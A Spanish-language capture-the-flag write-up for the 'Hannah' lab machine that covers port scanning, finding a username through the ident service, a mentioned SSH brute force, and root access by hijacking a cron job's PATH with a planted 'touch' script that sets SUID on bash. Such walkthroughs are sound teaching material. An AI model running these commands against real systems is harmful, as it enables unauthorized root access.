Hannah
Comenzamos junio con otra máquina easy del autor sml, la cual hace un uso de un servicio que nunca habíamos visto, y con el que obtendremos un nombre de usuario.
Reconocimiento de Puertos
Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ sudo nmapauto
[*] La IP de la máquina víctima es 192.168.1.63
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 12:04 CEST
Initiating ARP Ping Scan at 12:04
Scanning 192.168.1.63 [1 port]
Completed ARP Ping Scan at 12:04, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:04
Scanning 192.168.1.63 [65535 ports]
Discovered open port 80/tcp on 192.168.1.63
Discovered open port 113/tcp on 192.168.1.63
Discovered open port 22/tcp on 192.168.1.63
Completed SYN Stealth Scan at 12:04, 1.76s elapsed (65535 total ports)
Nmap scan report for 192.168.1.63
Host is up, received arp-response (0.000086s latency).
Scanned at 2023-06-01 12:04:04 CEST for 1s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
113/tcp open ident syn-ack ttl 64
MAC Address: 08:00:27:D0:C9:61 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
[*] Escaneo avanzado de servicios
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-01 12:04 CEST
Nmap scan report for 192.168.1.63
Host is up (0.00018s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 5f1c78369905320982d3d5054c1475d1 (RSA)
| 256 0669ef979b34d7f3c79660d1a1ffd82c (ECDSA)
|_ 256 853dda74b2684ea6f7e5f58540902e9a (ED25519)
|_auth-owners: root
80/tcp open http nginx 1.18.0
|_auth-owners: moksha
|_http-title: Site doesnt have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/enlightenment
|_http-server-header: nginx/1.18.0
113/tcp open ident?
|_auth-owners: root
MAC Address: 08:00:27:D0:C9:61 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.41 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Empezaremos revisando el puerto 80:
❯ ip=192.168.1.63
❯ curl $ip
Under construction
Como no hay nada, vamos a realizar fuzzing.
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u $ip
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.63
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2023/06/01 12:09:03 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 19]
/robots.txt (Status: 200) [Size: 25]
Progress: 875057 / 882244 (99.19%)
===============================================================
2023/06/01 12:09:56 Finished
===============================================================
Revisamos el robots.txt:
❯ curl $ip/robots.txt
Disallow: /enlightenment
Revisamos el recurso no indexado:
❯ curl $ip/enlightenment
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
Por aquí no tenemos salida, de forma que reviso información acerca del puerto 113 el cual no conocía.
Puerto 113
Básicamente es un protocolo que nos ayuda a identificar el usuario que está corriendo una conexión TCP.
Como hemos realizado un escaneo avanzado con nmap, podremos observar un dato que no vemos nunca: auth-owners.
De esta forma, detectamos que aparte de root, existe un usuario llamado moksha.
Fuerza bruta por SSH
Lanzamos hydra para intentar encontrar la contraseña:
Ahora con la contraseña ya nos podemos conectar vía SSH:
❯ ssh moksha@192.168.1.63
moksha@192.168.1.63's password:
Linux hannah 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun 1 01:39:34 2023 from 192.168.1.150
moksha@hannah:~$ export TERM=xterm
moksha@hannah:~$ cat user.txt
Con la flag de user en nuestro poder, vamos a por la flag de root.
Escalada de privilegios
Como siempre empezaremos viendo la lista de grupos a la que pertenecemos y los comandos que podemos ejecutar como otro usuario:
moksha@hannah:~$ id
uid=1000(moksha) gid=1000(moksha) grupos=1000(moksha),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
moksha@hannah:~$ sudo -l
-bash: sudo: orden no encontrada
Nada interesante, veamos los binarios SUID:
moksha@hannah:~$ find / -type f -perm -4000 -ls 2>/dev/null
137350 52 -rwsr-xr-- 1 root messagebus 51336 oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
269176 472 -rwsr-xr-x 1 root root 481608 jul 2 2022 /usr/lib/openssh/ssh-keysign
3763 72 -rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su
3604 44 -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp
110 64 -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd
4132 36 -rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount
109 88 -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd
107 52 -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh
106 60 -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn
4130 56 -rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount
Tampoco vemos ningún binario que podamos explotar, revisemos las cron:
moksha@hannah:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/media:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
* * * * * root touch /tmp/enlIghtenment
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Aquí vemos, que se está llamando a touch de forma relativa, por lo que vamos a revisar si es posible explotarlo:
moksha@hannah:~$ which touch
/usr/bin/touch
Bien, como podemos observar está leyendo de la última ruta del PATH, por lo que si podemos escribir en alguna ruta del mismo, podemos explotarlo:
moksha@hannah:~$ grep "PATH" /etc/crontab | tr -d "PATH=" | sed "s/:/\n/g" | xargs ls -ld
lrwxrwxrwx 1 root root 7 ene 4 10:39 /bin -> usr/bin
drwxrwxrwx 3 root root 4096 ene 4 10:39 /media
lrwxrwxrwx 1 root root 8 ene 4 10:39 /sbin -> usr/sbin
drwxr-xr-x 2 root root 20480 ene 4 10:44 /usr/bin
drwxr-xr-x 2 root root 4096 ene 4 10:40 /usr/local/bin
drwxr-xr-x 2 root root 4096 ene 4 10:40 /usr/local/sbin
drwxr-xr-x 2 root root 12288 ene 4 10:46 /usr/sbin
Podemos escribir en /media, por lo que vamos a realizar un Path hijacking.
Path hijacking
Vamos a crear un fichero “touch” y darle permiso de ejecución, el cual nos convertirá bash en un SUID con el fin de convertirnos en root:
moksha@hannah:~$ echo "chmod +s /bin/bash" > /media/touch
moksha@hannah:~$ chmod +x /media/touch
Solo nos queda convertir el bash a privilegiado y leer la flag:
moksha@hannah:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt
Con esto damos por finalizada esta máquina.
Dar las gracias a sml por la misma, ya llevamos varias de dicho autor y siempre tiene cositas nuevas, lo cual se agradece. Nos vemos en la siguiente.